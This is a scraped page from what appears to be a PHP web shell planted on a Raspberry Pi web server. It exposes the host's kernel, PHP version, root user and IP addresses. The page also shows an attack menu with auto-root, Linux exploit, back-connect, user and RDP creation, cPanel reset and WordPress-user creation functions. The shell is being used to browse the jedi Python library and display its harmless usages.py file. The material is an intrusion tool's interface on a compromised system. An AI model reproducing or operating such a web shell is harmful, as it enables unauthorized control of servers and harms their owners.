Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
jedi /
evaluate /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
compiled
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
__init__.py
17.11
KB
-rw-r--r--
analysis.py
7.81
KB
-rw-r--r--
arguments.py
11.23
KB
-rw-r--r--
base_context.py
9.42
KB
-rw-r--r--
cache.py
2.43
KB
-rw-r--r--
docstrings.py
10.46
KB
-rw-r--r--
dynamic.py
8.43
KB
-rw-r--r--
filters.py
15.69
KB
-rw-r--r--
finder.py
11.59
KB
-rw-r--r--
flow_analysis.py
4.21
KB
-rw-r--r--
helpers.py
6.88
KB
-rw-r--r--
imports.py
21.75
KB
-rw-r--r--
jedi_typing.py
2.6
KB
-rw-r--r--
lazy_context.py
1.63
KB
-rw-r--r--
param.py
7.74
KB
-rw-r--r--
parser_cache.py
172
B
-rw-r--r--
pep0484.py
11.4
KB
-rw-r--r--
recursion.py
4.17
KB
-rw-r--r--
stdlib.py
11.01
KB
-rw-r--r--
syntax_tree.py
25.63
KB
-rw-r--r--
sys_path.py
8
KB
-rw-r--r--
usages.py
2.33
KB
-rw-r--r--
utils.py
3.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : usages.py
from jedi.evaluate import imports from jedi.evaluate.filters import TreeNameDefinition from jedi.evaluate.context import ModuleContext def _resolve_names(definition_names, avoid_names=()): for name in definition_names: if name in avoid_names: # Avoiding recursions here, because goto on a module name lands # on the same module. continue if not isinstance(name, imports.SubModuleName): # SubModuleNames are not actually existing names but created # names when importing something like `import foo.bar.baz`. yield name if name.api_type == 'module': for name in _resolve_names(name.goto(), definition_names): yield name def _dictionarize(names): return dict( (n if n.tree_name is None else n.tree_name, n) for n in names ) def _find_names(module_context, tree_name): context = module_context.create_context(tree_name) name = TreeNameDefinition(context, tree_name) found_names = set(name.goto()) found_names.add(name) return _dictionarize(_resolve_names(found_names)) def usages(module_context, tree_name): search_name = tree_name.value found_names = _find_names(module_context, tree_name) modules = set(d.get_root_context() for d in found_names.values()) modules = set(m for m in modules if isinstance(m, ModuleContext)) non_matching_usage_maps = {} for m in imports.get_modules_containing_name(module_context.evaluator, modules, search_name): for name_leaf in m.tree_node.get_used_names().get(search_name, []): new = _find_names(m, name_leaf) if any(tree_name in found_names for tree_name in new): found_names.update(new) for tree_name in new: for dct in non_matching_usage_maps.get(tree_name, []): # A usage that was previously searched for matches with # a now found name. Merge. found_names.update(dct) try: del non_matching_usage_maps[tree_name] except KeyError: pass else: for name in new: non_matching_usage_maps.setdefault(name, []).append(new) return found_names.values()
Close